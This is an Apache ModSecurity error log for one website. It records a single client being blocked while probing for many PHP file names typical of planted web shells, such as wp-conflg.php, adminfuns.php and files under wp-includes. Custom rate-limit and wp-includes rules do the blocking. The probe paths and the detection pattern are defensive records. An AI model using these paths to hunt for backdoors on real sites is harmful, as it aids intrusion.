[Wed Feb 25 03:04:12.990567 2026] [:error] [pid 13574:tid 13590] [client 20.216.146.160:37026] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aZ32LJ1y3bdS8MFXvJ2-1AAAA4w"]
[Wed Feb 25 03:04:14.751260 2026] [:error] [pid 13485:tid 13497] [client 20.216.146.160:38518] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aZ32LlMPrlPkHEXaBewuKQAAAso"]
[Wed Feb 25 03:04:18.087608 2026] [:error] [pid 13516:tid 13541] [client 20.216.146.160:44199] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aZ32MoDG2jLWmZEFGzVnqQAAAxc"]
[Wed Feb 25 03:04:22.402424 2026] [:error] [pid 13454:tid 13472] [client 20.216.146.160:31634] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aZ32NudouHfevEW-I1rcPwAAAlA"]
[Wed Feb 25 03:04:31.240465 2026] [:error] [pid 18850:tid 18862] [client 20.216.146.160:38170] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aZ32P-DBmHucoAJRnqkoOAAAAAo"]
[Wed Feb 25 03:04:32.321523 2026] [:error] [pid 18458:tid 18816] [client 20.216.146.160:38152] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aZ32QAuir-tBe4tUismmzQAAApU"]
[Wed Feb 25 03:04:33.185147 2026] [:error] [pid 18441:tid 18711] [client 20.216.146.160:42546] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aZ32QRYF1wpOnXIaHlOofgAAAMM"]
[Wed Feb 25 03:04:33.891643 2026] [:error] [pid 13286:tid 13302] [client 20.216.146.160:40925] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aZ32QSU3io7izGW_QSeJ2AAAAI0"]
[Wed Feb 25 03:04:35.281940 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:31327] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aZ32Q3xLbzvRGuzwKjkiSwAAAFg"]
[Wed Feb 25 03:04:37.097769 2026] [:error] [pid 13391:tid 13410] [client 20.216.146.160:41294] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aZ32RUIwokrsisMuCDfQfQAAAZE"]
[Wed Feb 25 03:04:38.178081 2026] [:error] [pid 13516:tid 13524] [client 20.216.146.160:30394] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aZ32RoDG2jLWmZEFGzVnxgAAAwY"]
[Wed Feb 25 03:04:38.818863 2026] [:error] [pid 13391:tid 13409] [client 20.216.146.160:35065] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aZ32RkIwokrsisMuCDfQgAAAAZA"]
[Wed Feb 25 03:04:47.666782 2026] [:error] [pid 13516:tid 13534] [client 20.216.146.160:38480] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ32T4DG2jLWmZEFGzVn2wAAAxA"]
[Wed Feb 25 03:04:51.727858 2026] [:error] [pid 13575:tid 13624] [client 20.216.146.160:38484] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ32U6wGxLnu91BIPRmIEQAAA9M"]
[Wed Feb 25 03:04:54.190784 2026] [:error] [pid 13575:tid 13626] [client 20.216.146.160:30362] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ32VqwGxLnu91BIPRmIGgAAA9U"]
[Wed Feb 25 03:04:56.052842 2026] [:error] [pid 13575:tid 13619] [client 20.216.146.160:30348] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ32WKwGxLnu91BIPRmIIgAAA84"]
[Wed Feb 25 03:04:57.354430 2026] [:error] [pid 18850:tid 18874] [client 20.216.146.160:45119] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aZ32WeDBmHucoAJRnqkoSgAAABY"]
[Wed Feb 25 03:04:58.318973 2026] [:error] [pid 13454:tid 13459] [client 20.216.146.160:55560] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aZ32WudouHfevEW-I1rcRQAAAkM"]
[Wed Feb 25 03:04:59.351996 2026] [:error] [pid 13575:tid 13618] [client 20.216.146.160:33279] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aZ32W6wGxLnu91BIPRmIJwAAA80"]
[Wed Feb 25 03:05:00.332723 2026] [:error] [pid 13575:tid 13612] [client 20.216.146.160:45063] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aZ32XKwGxLnu91BIPRmILwAAA8c"]
[Wed Feb 25 03:05:00.903191 2026] [:error] [pid 13391:tid 13406] [client 20.216.146.160:41228] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ32XEIwokrsisMuCDfQsQAAAY0"]
[Wed Feb 25 03:05:01.528305 2026] [:error] [pid 13391:tid 13416] [client 20.216.146.160:40680] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ32XUIwokrsisMuCDfQtQAAAZc"]
[Wed Feb 25 03:05:02.826462 2026] [:error] [pid 13454:tid 13460] [client 20.216.146.160:40025] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ32XudouHfevEW-I1rcSQAAAkQ"]
[Wed Feb 25 03:05:03.566333 2026] [:error] [pid 13516:tid 13542] [client 20.216.146.160:40001] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ32X4DG2jLWmZEFGzVn4AAAAxg"]
[Wed Feb 25 03:05:04.701632 2026] [:error] [pid 13516:tid 13527] [client 20.216.146.160:40013] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aZ32YIDG2jLWmZEFGzVn6gAAAwk"]
[Wed Feb 25 03:05:06.059877 2026] [:error] [pid 18441:tid 18732] [client 20.216.146.160:37420] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aZ32YhYF1wpOnXIaHlOojAAAANc"]
[Wed Feb 25 03:05:07.065109 2026] [:error] [pid 13575:tid 13626] [client 20.216.146.160:37435] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aZ32Y6wGxLnu91BIPRmINgAAA9U"]
[Wed Feb 25 03:05:07.854216 2026] [:error] [pid 13516:tid 13518] [client 20.216.146.160:32890] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aZ32Y4DG2jLWmZEFGzVn8wAAAwA"]
[Wed Feb 25 03:05:08.496939 2026] [:error] [pid 13359:tid 13364] [client 20.216.146.160:42087] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aZ32ZKOZX03SYTgjvJXPygAAAUM"]
[Wed Feb 25 03:05:09.252308 2026] [:error] [pid 18850:tid 18876] [client 20.216.146.160:33267] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aZ32ZeDBmHucoAJRnqkoTQAAABg"]
[Wed Feb 25 03:05:10.569969 2026] [:error] [pid 13575:tid 13608] [client 20.216.146.160:40038] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aZ32ZqwGxLnu91BIPRmIRAAAA8M"]
[Wed Feb 25 03:05:11.368906 2026] [:error] [pid 13454:tid 13456] [client 20.216.146.160:37585] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aZ32Z-douHfevEW-I1rcTgAAAkA"]
[Wed Feb 25 03:05:12.281566 2026] [:error] [pid 18458:tid 18795] [client 20.216.146.160:42098] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aZ32aAuir-tBe4tUismm2wAAAoI"]
[Wed Feb 25 03:05:13.293319 2026] [:error] [pid 13454:tid 13461] [client 20.216.146.160:30915] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aZ32aedouHfevEW-I1rcUgAAAkU"]
[Wed Feb 25 03:05:14.102634 2026] [:error] [pid 13516:tid 13535] [client 20.216.146.160:31081] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aZ32aoDG2jLWmZEFGzVn-AAAAxE"]
[Wed Feb 25 03:05:15.107178 2026] [:error] [pid 13391:tid 13393] [client 20.216.146.160:36554] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aZ32a0IwokrsisMuCDfQzQAAAYA"]
[Wed Feb 25 03:05:15.909557 2026] [:error] [pid 13391:tid 13406] [client 20.216.146.160:32894] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ32a0IwokrsisMuCDfQ0AAAAY0"]
[Wed Feb 25 03:05:16.726261 2026] [:error] [pid 13359:tid 13376] [client 20.216.146.160:42069] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ32bKOZX03SYTgjvJXPzAAAAU8"]
[Wed Feb 25 03:05:17.932254 2026] [:error] [pid 13575:tid 13608] [client 20.216.146.160:45085] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ32bawGxLnu91BIPRmITAAAA8M"]
[Wed Feb 25 03:05:19.053188 2026] [:error] [pid 18850:tid 18858] [client 20.216.146.160:40672] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ32b-DBmHucoAJRnqkoUAAAAAY"]
[Wed Feb 25 03:05:19.929272 2026] [:error] [pid 13359:tid 13382] [client 20.216.146.160:35351] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aZ32b6OZX03SYTgjvJXPzwAAAVU"]
[Wed Feb 25 03:05:20.956931 2026] [:error] [pid 18850:tid 18869] [client 20.216.146.160:40132] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aZ32cODBmHucoAJRnqkoUgAAABE"]
[Wed Feb 25 03:05:23.288838 2026] [:error] [pid 13516:tid 13522] [client 20.216.146.160:40003] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aZ32c4DG2jLWmZEFGzVoEAAAAwQ"]
[Wed Feb 25 03:05:25.131621 2026] [:error] [pid 13516:tid 13528] [client 20.216.146.160:11317] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aZ32dYDG2jLWmZEFGzVoGQAAAwo"]
[Wed Feb 25 03:05:27.618942 2026] [:error] [pid 13575:tid 13606] [client 20.216.146.160:33272] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZ32d6wGxLnu91BIPRmIWgAAA8E"]
[Wed Feb 25 03:05:28.886617 2026] [:error] [pid 13575:tid 13627] [client 20.216.146.160:11267] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZ32eKwGxLnu91BIPRmIXwAAA9Y"]
[Wed Feb 25 03:05:30.451533 2026] [:error] [pid 13391:tid 13412] [client 20.216.146.160:42056] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZ32ekIwokrsisMuCDfQ2gAAAZM"]
[Wed Feb 25 03:05:39.700822 2026] [:error] [pid 13516:tid 13528] [client 20.216.146.160:37705] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aZ32g4DG2jLWmZEFGzVoOgAAAwo"]
[Wed Feb 25 03:05:41.694538 2026] [:error] [pid 18850:tid 18874] [client 20.216.146.160:40685] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aZ32heDBmHucoAJRnqkoZQAAABY"]
[Wed Feb 25 03:05:42.405890 2026] [:error] [pid 13359:tid 13383] [client 20.216.146.160:40979] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aZ32hqOZX03SYTgjvJXP3wAAAVY"]
[Wed Feb 25 03:05:43.004816 2026] [:error] [pid 13516:tid 13535] [client 20.216.146.160:37593] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aZ32h4DG2jLWmZEFGzVoQAAAAxE"]
[Wed Feb 25 03:05:43.753833 2026] [:error] [pid 13516:tid 13521] [client 20.216.146.160:32841] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aZ32h4DG2jLWmZEFGzVoRgAAAwM"]
[Wed Feb 25 03:05:45.607720 2026] [:error] [pid 13516:tid 13533] [client 20.216.146.160:42067] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aZ32iYDG2jLWmZEFGzVoUgAAAw8"]
[Wed Feb 25 03:05:46.727270 2026] [:error] [pid 13454:tid 13479] [client 20.216.146.160:37571] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aZ32iudouHfevEW-I1rcbQAAAlc"]
[Wed Feb 25 03:05:50.942161 2026] [:error] [pid 13286:tid 13312] [client 20.216.146.160:11276] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZ32jiU3io7izGW_QSeJ9AAAAJc"]
